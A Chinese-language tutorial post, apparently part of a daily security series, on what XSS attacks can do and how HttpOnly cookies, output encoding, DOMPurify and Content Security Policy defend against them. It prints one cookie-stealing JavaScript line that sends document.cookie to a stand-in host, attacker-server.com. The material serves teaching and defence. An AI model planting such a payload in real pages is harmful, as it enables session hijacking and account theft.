iT邦幫忙

0

Day 17:XSS 攻擊實戰:Cookie 竊取與 XSS 防禦手法(CSP, Sanitization)

  • 分享至 

  • xImage
  •  

💡 XSS 的實際危害:Cookie 竊取與 Session 劫持
在前幾天(Day 16)我們介紹了跨站腳本攻擊(XSS)的三大類型(Reflected、Stored、DOM-based)。今天我們將深入探討攻擊者在成功注入 JavaScript 之後,究竟能達成什麼樣的破壞,以及開發者該如何從根本上進行防禦。

當攻擊者透過 Stored XSS 成功將惡意腳本植入受害者常造訪的頁面時,瀏覽器會毫不懷疑地執行這段程式碼。其中最經典的攻擊手法就是竊取使用者的 Session Cookie。

透過執行以下 JavaScript 程式碼:

JavaScript
new Image().src = 'http://attacker-server.com/log?cookie=' + encodeURIComponent(document.cookie);
受害者的瀏覽器會自動把包含登入憑證的 document.cookie 發送到攻擊者的伺服器。攻擊者只要拿到這串 Cookie,就能直接進行 Session 劫持(Session Hijacking),偽裝成該使用者登入系統,甚至完全接管帳號。

🛡️ 如何徹底防禦 XSS 攻擊?
防禦 XSS 不能單靠一種手段,必須從「Cookie 保護」、「輸入輸出處理」與「瀏覽器策略」多管齊下:

  1. 啟用 HttpOnly 旗標(Cookie 防護網)
    在設置 Session Cookie 時,務必加上 HttpOnly 屬性:

HTTP
Set-Cookie: session_id=xyz123; Secure; HttpOnly; SameSite=Strict
效果: 當 Cookie 被標記為 HttpOnly 後,任何 JavaScript(包含惡意 XSS 腳本)都無法透過 document.cookie 讀取它,這能直接阻斷絕大多數藉由 XSS 竊取 Session 的攻擊路徑。

  1. 輸入過濾與輸出轉義(Sanitization & Encoding)
    輸出轉義(Output Encoding): 當使用者輸入的資料要被渲染到 HTML 畫面上時,必須將特殊字元轉換成對應的 HTML 實體(例如將 < 轉為 <、> 轉為 >)。這樣瀏覽器就會將其視為「純文字」顯示,而不會當成 JavaScript 執行。

DOM Purify: 若應用程式允許使用者輸入部分 HTML(例如富文本編輯器),應使用受信任的清洗庫(如 DOMPurify)來過濾掉危險的標籤與屬性(如 、onerror)。

  1. 內容安全策略(Content Security Policy, CSP)
    CSP 是一種強大的 HTTP 回應標頭(Header),它允許網站管理員宣告哪些網域的資源可以被載入與執行。
    例如透過以下標頭設定:

HTTP
Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.com;
效果: 即使網頁中不小心被注入了內聯(Inline)的 alert(1),瀏覽器也會因為違反 CSP 規則而拒絕執行該腳本,是防禦 XSS 的最後一道堅固防線。


*提醒邦友,使用第三方服務/API 時,請務必評估資安風險與隱私保護
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言